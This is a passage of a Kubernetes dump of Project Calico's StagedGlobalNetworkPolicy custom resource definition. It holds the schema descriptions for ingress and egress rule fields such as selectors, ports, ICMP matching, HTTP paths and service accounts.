to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"namespaceSelector":{"description":"NamespaceSelector is an optional field for an expression used to select a pod based on namespaces.","type":"string"},"order":{"description":"Order is an optional field that specifies the order in which the policy is applied.\nPolicies with higher \"order\" are applied after those with lower\norder within the same tier.  If the order is omitted, it may be considered to be \"infinite\" - i.e. the\npolicy will be applied last.  Policies with identical order will be applied in\nalphanumerical order based on the Policy \"Name\" within the tier.","type":"number"},"performanceHints":{"description":"PerformanceHints contains a list of hints to Calico's policy engine to\nhelp process the policy more efficiently.  Hints never change the\nenforcement behaviour of the policy.\n\nCurrently, the only available hint is \"AssumeNeededOnEveryNode\".  When\nthat hint is set on a policy, Felix will act as if the policy matches\na local endpoint even if it does not. This is useful for \"preloading\"\nany large static policies that are known to be used on every node.\nIf the policy is _not_ used on a particular node then the work\ndone to preload the policy (and to maintain it) is wasted.","items":{"type":"string"},"type":"array"},"preDNAT":{"description":"PreDNAT indicates to apply the rules in this policy before any DNAT.","type":"boolean"},"selector":{"description":"The selector is an expression used to pick pick out the endpoints that the policy should\nbe applied to.\n\nSelector expressions follow this syntax:\n\n\tlabel == \"string_literal\"  -\u003e  comparison, e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"   -\u003e  not equal; also matches if label is not present\n\tlabel in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is not one of \"a\", \"b\", \"c\"\n\thas(label_name)  -\u003e True if that label is present\n\t! expr -\u003e negation of expr\n\texpr \u0026\u0026 expr  -\u003e Short-circuit and\n\texpr || expr  -\u003e Short-circuit or\n\t( expr ) -\u003e parens for grouping\n\tall() or the empty selector -\u003e matches all endpoints.\n\nLabel names are allowed to contain alphanumerics, -, _ and /. String literals are more permissive\nbut they do not support escape characters.\n\nExamples (with made-up labels):\n\n\ttype == \"webserver\" \u0026\u0026 deployment == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment != \"dev\"\n\t! has(label_name)","type":"string"},"serviceAccountSelector":{"description":"ServiceAccountSelector is an optional field for an expression used to select a pod based on service accounts.","type":"string"},"stagedAction":{"description":"The staged action. If this is omitted, the default is Set.","type":"string"},"tier":{"description":"The name of the tier that this policy belongs to.  If this is omitted, the default\ntier (name is \"default\") is assumed.  The specified tier must exist in order to create\nsecurity policies within the tier, the \"default\" tier is created automatically if it\ndoes not exist, this means for deployments requiring only a single Tier, the tier name\nmay be omitted on all policy management requests.","type":"string"},"types":{"description":"Types indicates whether this policy applies to ingress, or to egress, or to both.  When\nnot explicitly specified (and so the value on creation is empty or nil), Calico defaults\nTypes according to what Ingress and Egress rules are present in the policy.  The\ndefault is:\n\n- [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are\n  also no Ingress rules)\n\n- [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules\n\n- [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.\n\nWhen the policy is read back again, Types will always be one of these values, never empty\nor nil.","items":{"description":"PolicyType enumerates the possible values of the PolicySpec Types field.","type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 1
    name: stagedglobalnetworkpolicies.crd.projectcalico.org
    resourceVersion: "6820718"
    uid: 69b268ac-0838-495b-894f-ed0aa582ba5a
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: StagedGlobalNetworkPolicy
      listKind: StagedGlobalNetworkPolicyList
      plural: stagedglobalnetworkpolicies
      singular: stagedglobalnetworkpolicy
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                applyOnForward:
                  description: ApplyOnForward indicates to apply the rules in this
                    policy on forward traffic.
                  type: boolean
                doNotTrack:
                  description: |-
                    DoNotTrack indicates whether packets matched by the rules in this policy should go through
                    the data plane's connection tracking, such as Linux conntrack.  If True, the rules in
                    this policy are applied before any data plane connection tracking, and packets allowed by
                    this policy are marked as not to be tracked.
                  type: boolean
                egress:
                  description: |-
                    The ordered set of egress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                ingress:
                  description: |-
                    The ordered set of ingress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
